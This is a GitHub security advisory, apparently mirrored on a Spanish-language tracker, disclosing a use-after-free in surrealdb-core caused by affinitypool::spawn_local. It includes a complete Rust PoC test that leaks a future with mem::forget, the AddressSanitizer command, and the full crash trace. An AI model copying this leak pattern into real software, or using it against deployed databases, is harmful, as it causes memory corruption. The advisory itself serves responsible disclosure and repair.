GHSA-PM86-CC75-Q463
Use-after-free in `surrealdb-core` KV backends via `affinitypool::spawn_local` leak amplification
Texto original en inglés · Ver en español
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.3.0 | surrealdb · -25 d desde divulgación | |
| Divulgación | Publicada | GHSA-PM86-CC75-Q463 divulgada · CVSS 7.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`surrealdb-core`'s KV backends pass non-`'static` borrowed state into affinity-pool closures via `affinitypool::spawn_local`: a `tokio::sync::MutexGuard<Option<TransactionInner>>`, `&Transaction`, `&mut ScanStateKeys/Vals`, `&mut dyn KeyVisitor/ValVisitor`, `RwLockReadGuard` (mem / surrealkv) and a `ReadOptions` holding a raw `rocksdb_snapshot_t*` (rocksdb). In `affinitypool 0.7.0` (pinned by `Cargo.lock`) `spawn_local` is a safe function whose soundness depends entirely on the returned future's `Drop` running — it blocks the dropping thread until the worker stops using the borrows. Safe Rust code can leak that future (`mem::forget`, `Box::leak`, `ManuallyDrop`, an `Rc`/`Arc` cycle, or a leaked enclosing future); the borrows then end while the pool worker is still running, which is a use-after-free on the transaction allocation. AddressSanitizer reports `heap-use-after-free` (READ of the freed mutex data, plus a WRITE when the worker unlocks the freed `tokio::sync::Mutex`) on the pool thread. No `unsafe` is needed at the call site; the trigger is reachable through the public API. Upstream already changed both `spawn_local` functions to `unsafe fn` on the unreleased 0.8 branch with an executable counter-example in `tests/unsound.rs`.
Details
Verified snapshot. `surrealdb 3.3.0-nightly`, git commit `18971ffba781a796c0ad3897bb4b82432c241e4c` (2026-09-04), crate `surrealdb-core 3.3.0-nightly`. Dependency `affinitypool 0.7.0` (crates.io, checksum `c4a46f56d354df11b6bcd8ca4f84fa03ac816cc41c72568a1b337d8f7e5af90e`). We have not yet mapped the released version range; releases whose `Cargo.lock` pins `affinitypool 0.7.0` and whose `kvs/` sources contain `affinitypool::spawn_local` call sites are affected — please set the final affected/patched ranges when publishing.
Root cause.
- `affinitypool 0.7.0` `src/lib.rs:52` (free fn) and `src/lib.rs:184` (`Threadpool::spawn_local`) are `pub` safe functions taking `F: FnOnce() -> R + Send + 'pool` (non-`'static`). The `'pool` lifetime is erased by `async_task::Builder::spawn_unchecked`; the only thing keeping it sound is `SpawnFuture::drop` (`src/local.rs:140-194`, `Task::cancel()` + parker-based `block_on`). The crate's own module docs (`src/local.rs:17-25`, "Leak amplification") state that `mem::forget` defeats this and that closing it needs an API change.
- `surrealdb-core` moves borrowed state into the pool closure. Deterministic example: writable `count()` at `surrealdb/core/src/kvs/rocksdb/mod.rs:2290-2297` (`affinitypool::spawn_local(move || self.count_blocking(rng, version, guard))`); generic dispatch at `kvs/rocksdb/inline_guard.rs:96-109` used by `run_blocking` and the cursor batch drivers. `count_blocking` (`kvs/rocksdb/mod.rs:1073`) reads the guard at `:1081` (`guard.as_ref()`), builds `ReadOptions` from `inner.snapshot` (`count_read_options`, `:1017`; the snapshot wrapper owns the `malloc`-ed `rocksdb_snapshot_t` referenced by `ReadOptions`), and drops the guard at the end (mutex unlock).
- 17 dispatch paths in this snapshot: 12 textual `spawn_local` calls (rocksdb 9, inline_guard 1, mem 1, surrealkv 1) plus 5 indirect through `InlineGuard::try_inline_or_offload` (`run_blocking`, four cursor drivers). Affected methods include `count`, `keys`/`keysr`, `scan`/`scanr`, `compact`, shutdown, point reads/writes, and `open_keys_cursor`/`open_vals_cursor` + `next_batch`/`for_each`.
Why safe code can reach it. `kvs::Transaction` implements `Deref<Target = kvs::Transactor>` (`kvs/tx.rs:598-604`); `Transactor` is publicly re-exported (`kvs/mod.rs:78`) and its raw-byte methods (`count`, `get`, `set`, `open_keys_cursor`, …) use the public bound `K: IntoBytes + Debug` (`kvs/tr.rs:119,166,422,444`; `IntoBytes` re-exported at `kvs/mod.rs:72`, defined in `kvs/into.rs:6`) — not the crate-private `KVKey`. `surrealdb-core` is a published crate (`surrealdb/core/Cargo.toml:3 publish = true`), and sibling crates already call `Transactor` methods from outside the crate (`surrealdb/src/engine/local/mod.rs:770,779`). So any Rust code holding a public `Datastore`/`Transaction` can construct the trigger.
Async specificity (for context). Three ingredients are required: the waiter is a *future value* safe code may leak (so the join cannot be a returning stack frame as in `std::thread::scope`); the suspended state holds caller borrows; and an independent executor keeps using those borrows after the borrow region ends. The "destructor as a safety barrier" root class is shared with pre-1.0 `std::thread::scoped`; the async model is what makes it reachable here.
Disclosure. Not disclosed publicly or to any third party. We can provide the full technical report, the PoC source file and its complete ASan log; the GitHub report form has no attachment field, so we will post them in the advisory thread / private fork once the report is acknowledged.
PoC
Environment: Linux x86_64, `cargo +nightly-2026-04-14`, AddressSanitizer. `--target` is required so `RUSTFLAGS` are not applied to build scripts and proc macros (Rust Unstable Book, "Sanitizer").
Minimal trigger (public API only; no `unsafe`):
````rust
use surrealdb_core::kvs::{Datastore, LockType, TransactionType, Transactor};
let ds = Datastore::new("rocksdb:///tmp/f1.db").await?; // public
let tx = ds.transaction(TransactionType::Write, LockType::Optimistic).await?;
let count_fut = Transactor::count(&tx, beg..end, None); // raw-byte API
let mut count_fut = Box::pin(count_fut);
assert!(count_fut.as_mut().now_or_never().is_none()); // pool worker started
mem::forget(count_fut); // safe; borrow ends
drop(tx); // frees Transaction/Mutex
// worker keeps using the freed guard/&Transaction -> UAF
````
Run:
````bash
RUSTFLAGS="-Zsanitizer=address" ASAN_OPTIONS=detect_leaks=0 cargo +nightly-2026-04-14 test --target x86_64-unknown-linux-gnu -p surrealdb-core --features kv-rocksdb --test f1_public_api_leak_uaf -- --ignored --nocapture --test-threads=1
````
Key frames:
````text
==...==ERROR: AddressSanitizer: heap-use-after-free ... READ of size 8 ... thread T194
#0 Option<TransactionInner>::as_ref
#1 Transaction::count_blocking kvs/rocksdb/mod.rs:1081
#2 Transactable::count::{closure...} kvs/rocksdb/mod.rs:2295
#8 affinitypool::Threadpool::spawn_local affinitypool-0.7.0/src/lib.rs:205
#11 affinitypool::Threadpool::spin_up <- pool worker
previously allocated by thread T1 here:
#3 DatastoreFlavor::new_transaction kvs/ds.rs:777:42
#5 Datastore::transaction kvs/ds.rs:3354:77 <- public API
````
A no-leak control variant of the same dispatch (`count_fut.await` instead of `mem::forget`) was also executed during the investigation and passes: the future's `Drop` blocks until the worker finishes, so there is no UAF and the count result is correct. A snippet is in `reproduce.md` §3.
The complete PoC source and the complete AddressSanitizer output are in the collapsible blocks below.
<details>
<summary>PoC — complete source (128 lines; public API only, no `unsafe`)</summary>
````rust
//! F1 PoC — public-API variant: only `surrealdb_core`'s public surface is used.
//!
//! This PoC demonstrates that the F1 use-after-free does not require any
//! crate-internal visibility — it uses only `surrealdb_core`'s public surface
//! (the same defect is also reachable from the internal KV path):
//!
//! * `Datastore::new` / `Datastore::transaction` / `TransactionType` / `LockType`
//! / `Transactor` / `IntoBytes` are all publicly re-exported
//! (`surrealdb_core::kvs`), and `surrealdb-core` is a published crate.
//! * `Transaction` implements `Deref<Target = Transactor>`, and the raw-bytes
//! `Transactor` methods (`count`, `get`, `set`, `open_keys_cursor`, …) are
//! `pub` with the public bounds `K: IntoBytes + Debug` — not the
//! crate-private `KVKey` trait used by the decoding `Transaction` wrappers.
//! So an external crate can call `Transactor::count(&txn, …)` directly.
//! * The writable RocksDB `count` path unconditionally dispatches the blocking
//! scan to the affinity pool with the inner `tokio::sync::MutexGuard` and
//! `&Transaction` moved into the closure
//! (`kvs/rocksdb/mod.rs:2290-2297`). Leaking that future with the safe
//! `mem::forget` ends the borrow while the pool worker is still scanning;
//! dropping the transaction then frees the memory the worker is using.
//!
//! So "who can leak?" is: **any Rust code holding a `Datastore`/`Transaction`
//! through the public API** (any downstream crate depending on
//! `surrealdb-core`, any sibling workspace crate, or in-crate code). It is still
//! a caller-side leak — no remote input (SurrealQL/JS/WASM/RPC) can call
//! `mem::forget` — but the previous "crate-internal only" caveat does not hold.
//!
//! # Integration (no `mod.rs` edit needed)
//!
//! This file is an integration test: copy it to
//! `surrealdb/core/tests/f1_public_api_leak_uaf.rs`. Cargo auto-discovers
//! `tests/*.rs`; the test crate links against the public library surface only.
//!
//! # Running (Linux + AddressSanitizer)
//!
//! ```text
//! RUSTFLAGS="-Zsanitizer=address" ASAN_OPTIONS=detect_leaks=0 \
//! cargo +nightly-2026-04-14 test --target x86_64-unknown-linux-gnu \
//! -p surrealdb-core --features kv-rocksdb --test f1_public_api_leak_uaf \
//! -- --ignored --nocapture --test-threads=1
//! ```
//!
//! Expected: `heap-use-after-free` (`count_blocking` → `guard.as_ref()` on the
//! freed `Transaction`, pool worker thread as reader, test thread as freer),
//! with the transaction allocated by the public `Datastore::transaction`.
#![cfg(feature = "kv-rocksdb")]
use std::mem;
use std::thread;
use std::time::Duration;
use futures::FutureExt;
// Public re-exports only — deliberately no `surrealdb_core::kvs::api`,
// no `rocksdb` backend module, no `KVKey`.
use surrealdb_core::kvs::{Datastore, LockType, TransactionType, Transactor};
/// Seeded key count. Large enough that the pool worker is still inside
/// `count_blocking` when the transaction is freed. Override with `F1_POC_KEYS`.
const DEFAULT_KEYS: u32 = 50_000;
fn key(i: u32) -> Vec<u8> {
format!("f1/{i:010}").into_bytes()
}
fn key_count() -> u32 {
std::env::var("F1_POC_KEYS")
.ok()
.and_then(|v| v.parse().ok())
.unwrap_or(DEFAULT_KEYS)
}
/// Public-API F1 PoC. `#[ignore]`d because it deliberately triggers UB.
#[tokio::test(flavor = "multi_thread")]
#[ignore = "deliberately triggers UB (use-after-free); run explicitly under AddressSanitizer"]
async fn f1_public_api_transactor_count_leak_uaf() {
let n = key_count();
// --- public API: open a RocksDB datastore -------------------------------
let dir = temp_dir::TempDir::new().expect("create temp dir");
let path = format!("rocksdb://{}", dir.path().join("f1.db").display());
let ds = Datastore::new(&path).await.expect("open rocksdb datastore");
// --- public API: seed keys through the raw-bytes Transactor -------------
{
let tx = ds
.transaction(TransactionType::Write, LockType::Optimistic)
.await
.expect("seed transaction");
for i in 0..n {
Transactor::set(&tx, key(i), vec![0u8]).await.expect("seed set");
}
Transactor::commit(&tx).await.expect("seed commit");
}
// --- public API: writable transaction + borrowed count future -----------
let tx = ds
.transaction(TransactionType::Write, LockType::Optimistic)
.await
.expect("write transaction");
// `Transactor::count(&tx, …)` uses the public `K: IntoBytes + Debug` bound
// (not the crate-private `KVKey`). Writable ⇒ unconditional `spawn_local`.
// The returned `async fn` future is opaque/`!Unpin`, so pin it before the probe poll.
let count_fut = Transactor::count(&tx, key(0)..b"f1/z".to_vec(), None);
let mut count_fut = Box::pin(count_fut);
// First poll schedules the runnable on the affinity pool; `async_task`'s
// `Task::poll` only registers the waker, so this is `Pending` while
// `count_blocking` runs on a pool worker holding the guard/`&Transaction`.
assert!(
count_fut.as_mut().now_or_never().is_none(),
"count() completed on the first poll — enlarge F1_POC_KEYS or check the pool"
);
// SAFE CODE: leak the future, ending the `&tx` borrow; then free the
// transaction while the pool worker is still scanning it.
mem::forget(count_fut);
drop(tx);
thread::sleep(Duration::from_secs(2));
panic!(
"F1 public-API PoC: no fault observed on this host. The use-after-free \
still occurred; re-run under AddressSanitizer."
);
}
````
</details>
<details>
<summary>Result — complete AddressSanitizer report (heap-use-after-free)</summary>
````text
verifier@host:~/repo$ RUSTFLAGS="-Zsanitizer=address" ASAN_OPTIONS=detect_leaks=0 \
cargo +nightly-2026-04-14 test --target x86_64-unknown-linux-gnu \
-p surrealdb-core --features kv-rocksdb --test f1_public_api_leak_uaf \
-- --ignored --nocapture --test-threads=1
Compiling surrealdb-core v3.3.0-nightly (/repo/surrealdb/core)
Finished `test` profile [unoptimized + debuginfo] target(s) in 2m 07s
Running tests/f1_public_api_leak_uaf.rs (target/x86_64-unknown-linux-gnu/debug/deps/f1_public_api_leak_uaf-4ec7080bd0d9d298)
running 1 test
test f1_public_api_transactor_count_leak_uaf ... =================================================================
==2348533==ERROR: AddressSanitizer: heap-use-after-free on address 0x7a3bf6619b70 at pc 0x56ba1ac50bc0 bp 0x792b55de7270 sp 0x792b55de7268
READ of size 8 at 0x7a3bf6619b70 thread T194
#0 0x56ba1ac50bbf in <core::option::Option<surrealdb_core::kvs::rocksdb::TransactionInner>>::as_ref /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/option.rs:745:15
#1 0x56ba1ccec2c3 in <surrealdb_core::kvs::rocksdb::Transaction>::count_blocking /repo/surrealdb/core/src/kvs/rocksdb/mod.rs:1081:10
#2 0x56ba1c145d59 in <surrealdb_core::kvs::rocksdb::Transaction as surrealdb_core::kvs::api::Transactable>::count::{closure#0}::{closure#0}::{closure#0} /repo/surrealdb/core/src/kvs/rocksdb/mod.rs:2295:11
#3 0x56ba1f381f49 in <core::panic::unwind_safe::AssertUnwindSafe<<surrealdb_core::kvs::rocksdb::Transaction as surrealdb_core::kvs::api::Transactable>::count::{closure#0}::{closure#0}::{closure#0}> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/panic/unwind_safe.rs:275:9
#4 0x56ba1b1362d9 in std::panicking::catch_unwind::do_call::<core::panic::unwind_safe::AssertUnwindSafe<<surrealdb_core::kvs::rocksdb::Transaction as surrealdb_core::kvs::api::Transactable>::count::{closure#0}::{closure#0}::{closure#0}>, core::result::Result<usize, surrealdb_core::kvs::err::Error>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:581:40
#5 0x56ba1cf762ea in __rust_try 9tweg82l26hfsm3uf4fuer255
#6 0x56ba1cf61056 in catch_unwind<core::result::Result<usize, surrealdb_core::kvs::err::Error>, core::panic::unwind_safe::AssertUnwindSafe<surrealdb_core::kvs::rocksdb::{impl#3}::count::{async_block#0}::{async_block#0}::{closure_env#0}>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:544:19
#7 0x56ba1cf61056 in std::panic::catch_unwind::<core::panic::unwind_safe::AssertUnwindSafe<<surrealdb_core::kvs::rocksdb::Transaction as surrealdb_core::kvs::api::Transactable>::count::{closure#0}::{closure#0}::{closure#0}>, core::result::Result<usize, surrealdb_core::kvs::err::Error>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
#8 0x56ba1c4f048c in <affinitypool::Threadpool>::spawn_local::<<surrealdb_core::kvs::rocksdb::Transaction as surrealdb_core::kvs::api::Transactable>::count::{closure#0}::{closure#0}::{closure#0}, core::result::Result<usize, surrealdb_core::kvs::err::Error>>::{closure#1}::{closure#0} /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/affinitypool-0.7.0/src/lib.rs:205:28
#9 0x56ba1f413217 in <async_task::raw::RawTask<<affinitypool::Threadpool>::spawn_local<<surrealdb_core::kvs::rocksdb::Transaction as surrealdb_core::kvs::api::Transactable>::count::{closure#0}::{closure#0}::{closure#0}, core::result::Result<usize, surrealdb_core::kvs::err::Error>>::{closure#1}::{closure#0}, core::result::Result<core::result::Result<usize, surrealdb_core::kvs::err::Error>, alloc::boxed::Box<dyn core::any::Any + core::marker::Send>>, <affinitypool::Threadpool>::spawn_local<<surrealdb_core::kvs::rocksdb::Transaction as surrealdb_core::kvs::api::Transactable>::count::{closure#0}::{closure#0}::{closure#0}, core::result::Result<usize, surrealdb_core::kvs::err::Error>>::{closure#0}, ()>>::run /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/async-task-4.7.1/src/raw.rs:557:17
#10 0x56ba1f558cc2 in <async_task::runnable::Runnable>::run /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/async-task-4.7.1/src/runnable.rs:781:18
#11 0x56ba1f556caa in <affinitypool::Threadpool>::spin_up::{closure#0} /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/affinitypool-0.7.0/src/lib.rs:285:14
#12 0x56ba1f56fc55 in std::sys::backtrace::__rust_begin_short_backtrace::<<affinitypool::Threadpool>::spin_up::{closure#0}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/backtrace.rs:166:18
#13 0x56ba1f572056 in std::thread::lifecycle::spawn_unchecked::<<affinitypool::Threadpool>::spin_up::{closure#0}, ()>::{closure#1}::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:91:13
#14 0x56ba1f56e74c in <core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<<affinitypool::Threadpool>::spin_up::{closure#0}, ()>::{closure#1}::{closure#0}> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/panic/unwind_safe.rs:275:9
#15 0x56ba1f56884b in std::panicking::catch_unwind::do_call::<core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<<affinitypool::Threadpool>::spin_up::{closure#0}, ()>::{closure#1}::{closure#0}>, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:581:40
#16 0x56ba1f576d8a in __rust_try affinitypool.977e2bc1876db37-cgu.3
#17 0x56ba1f5712c1 in catch_unwind<(), core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked::{closure#1}::{closure_env#0}<affinitypool::{impl#1}::spin_up::{closure_env#0}, ()>>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:544:19
#18 0x56ba1f5712c1 in catch_unwind<core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked::{closure#1}::{closure_env#0}<affinitypool::{impl#1}::spin_up::{closure_env#0}, ()>>, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
#19 0x56ba1f5712c1 in std::thread::lifecycle::spawn_unchecked::<<affinitypool::Threadpool>::spin_up::{closure#0}, ()>::{closure#1} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:89:26
#20 0x56ba1f56b0f6 in <std::thread::lifecycle::spawn_unchecked<<affinitypool::Threadpool>::spin_up::{closure#0}, ()>::{closure#1} as core::ops::function::FnOnce<()>>::call_once::{shim:vtable#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/ops/function.rs:250:5
#21 0x56ba213f986e in <alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output = ()> + core::marker::Send> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/boxed.rs:2259:9
#22 0x56ba213f986e in <std::sys::thread::unix::Thread>::new::thread_start /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/thread/unix.rs:118:17
#23 0x56ba19c148a6 in asan_thread_start(void*) /rustc/llvm/src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:246:28
#24 0x7d2bf7294ac2 in start_thread nptl/./nptl/pthread_create.c:442:8
#25 0x7d2bf73268cf misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
0x7a3bf6619b70 is located 176 bytes inside of 224-byte region [0x7a3bf6619ac0,0x7a3bf6619ba0)
freed by thread T1 here:
#0 0x56ba19c16cf6 in free /rustc/llvm/src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:51:3
#1 0x56ba1cdc72c0 in dealloc_nonnull /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/alloc.rs:128:14
#2 0x56ba1cdc72c0 in deallocate_impl_runtime /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/alloc.rs:229:22
#3 0x56ba1cdc72c0 in deallocate_impl /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/alloc.rs:344:9
#4 0x56ba1cdc72c0 in <alloc::alloc::Global as core::alloc::Allocator>::deallocate /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/alloc.rs:462:23
#5 0x56ba19c90256 in <core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>> as core::future::future::Future>::poll /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/future/future.rs:133:9
#6 0x56ba19c8d2c4 in <tokio::runtime::context::blocking::BlockingRegionGuard>::block_on::<core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>>> /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.52.3/src/runtime/context/blocking.rs:66:14
#7 0x56ba19c8c17c in <tokio::runtime::scheduler::multi_thread::MultiThread>::block_on::<core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>>> /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.52.3/src/runtime/scheduler/multi_thread/mod.rs:91:9
#8 0x56ba19c55080 in <tokio::runtime::runtime::Runtime>::block_on::<core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>>> /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.52.3/src/runtime/runtime.rs:345:18
#9 0x56ba19c8db6a in f1_public_api_leak_uaf::f1_public_api_transactor_count_leak_uaf /repo/surrealdb/core/tests/f1_public_api_leak_uaf.rs:127:6
#10 0x56ba19c97f62 in f1_public_api_leak_uaf::f1_public_api_transactor_count_leak_uaf::{closure#0} /repo/surrealdb/core/tests/f1_public_api_leak_uaf.rs:77:51
#11 0x56ba19cbd73a in test::run_test_in_process::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:686:74
#12 0x56ba19cbd73a in <core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/panic/unwind_safe.rs:275:9
#13 0x56ba19cbd73a in std::panicking::catch_unwind::do_call::<core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}>, core::result::Result<(), alloc::string::String>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:581:40
#14 0x56ba19cbd73a in std::panic::catch_unwind::<core::result::Result<(), alloc::string::String>, core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
#15 0x56ba19cbd73a in std::panic::catch_unwind::<core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}>, core::result::Result<(), alloc::string::String>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
#16 0x56ba19cbd73a in test::run_test_in_process /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:686:27
#17 0x56ba19cbd73a in test::run_test::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:607:43
#18 0x56ba19cb7b93 in test::run_test::{closure#1} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:637:41
#19 0x56ba19cb7b93 in std::sys::backtrace::__rust_begin_short_backtrace::<test::run_test::{closure#1}, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/backtrace.rs:166:18
#20 0x56ba19cc0341 in std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:91:13
#21 0x56ba19cc0341 in <core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/panic/unwind_safe.rs:275:9
#22 0x56ba19cc0341 in std::panicking::catch_unwind::do_call::<core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}>, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:581:40
#23 0x56ba19cc0341 in std::panic::catch_unwind::<(), core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:544:19
#24 0x56ba19cc0341 in std::panic::catch_unwind::<core::panic::unwind_safe::AssertUnwindSafe<std::thread::lifecycle::spawn_unchecked<test::run_test::{closure#1}, ()>::{closure#1}::{closure#0}>, ()> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
#25 0x56ba19cc0341 in std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()>::{closure#1} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/thread/lifecycle.rs:89:26
#26 0x56ba19cc0341 in <std::thread::lifecycle::spawn_unchecked::<test::run_test::{closure#1}, ()>::{closure#1} as core::ops::function::FnOnce<()>>::call_once::{shim:vtable#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/ops/function.rs:250:5
#27 0x56ba213f986e in <alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output = ()> + core::marker::Send> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/boxed.rs:2259:9
#28 0x56ba213f986e in <std::sys::thread::unix::Thread>::new::thread_start /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/sys/thread/unix.rs:118:17
#29 0x56ba19c148a6 in asan_thread_start(void*) /rustc/llvm/src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:246:28
previously allocated by thread T1 here:
#0 0x56ba19c16f94 in malloc /rustc/llvm/src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3
#1 0x56ba1cdbbc9e in alloc /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/alloc.rs:101:9
#2 0x56ba1cdbbc9e in <alloc::alloc::Global>::alloc_impl_runtime /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/alloc/src/alloc.rs:210:73
#3 0x56ba1f2ae068 in <surrealdb_core::kvs::ds::DatastoreFlavor as surrealdb_core::kvs::ds::TransactionBuilder>::new_transaction::{closure#0} /repo/surrealdb/core/src/kvs/ds.rs:777:42
#4 0x56ba1be4b505 in <core::pin::Pin<alloc::boxed::Box<dyn core::future::future::Future<Output = core::result::Result<(alloc::boxed::Box<dyn surrealdb_core::kvs::api::Transactable>, bool), anyhow::Error>> + core::marker::Send>> as core::future::future::Future>::poll /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/future/future.rs:133:9
#5 0x56ba1f291cb9 in <surrealdb_core::kvs::ds::Datastore>::transaction::{closure#0} /repo/surrealdb/core/src/kvs/ds.rs:3354:77
#6 0x56ba19c9ab11 in f1_public_api_leak_uaf::f1_public_api_transactor_count_leak_uaf::{closure#0} /repo/surrealdb/core/tests/f1_public_api_leak_uaf.rs:100:10
#7 0x56ba19c90256 in <core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>> as core::future::future::Future>::poll /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/future/future.rs:133:9
#8 0x56ba19c8d2c4 in <tokio::runtime::context::blocking::BlockingRegionGuard>::block_on::<core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>>> /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.52.3/src/runtime/context/blocking.rs:66:14
#9 0x56ba19c8c17c in <tokio::runtime::scheduler::multi_thread::MultiThread>::block_on::<core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>>> /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.52.3/src/runtime/scheduler/multi_thread/mod.rs:91:9
#10 0x56ba19c55080 in <tokio::runtime::runtime::Runtime>::block_on::<core::pin::Pin<&mut dyn core::future::future::Future<Output = ()>>> /home/verifier/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.52.3/src/runtime/runtime.rs:345:18
#11 0x56ba19c8db6a in f1_public_api_leak_uaf::f1_public_api_transactor_count_leak_uaf /repo/surrealdb/core/tests/f1_public_api_leak_uaf.rs:127:6
#12 0x56ba19c97f62 in f1_public_api_leak_uaf::f1_public_api_transactor_count_leak_uaf::{closure#0} /repo/surrealdb/core/tests/f1_public_api_leak_uaf.rs:77:51
#13 0x56ba19cbd73a in test::run_test_in_process::{closure#0} /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/test/src/lib.rs:686:74
#14 0x56ba19cbd73a in <core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}> as core::ops::function::FnOnce<()>>::call_once /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/core/src/panic/unwind_safe.rs:275:9
#15 0x56ba19cbd73a in std::panicking::catch_unwind::do_call::<core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}>, core::result::Result<(), alloc::string::String>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panicking.rs:581:40
#16 0x56ba19cbd73a in std::panic::catch_unwind::<core::result::Result<(), alloc::string::String>, core::panic::unwind_safe::AssertUnwindSafe<test::run_test_in_process::{closure#0}>> /rustc/17584a181979f04f2aaad867332c22db1caa511a/library/std/src/panic.rs:359:14
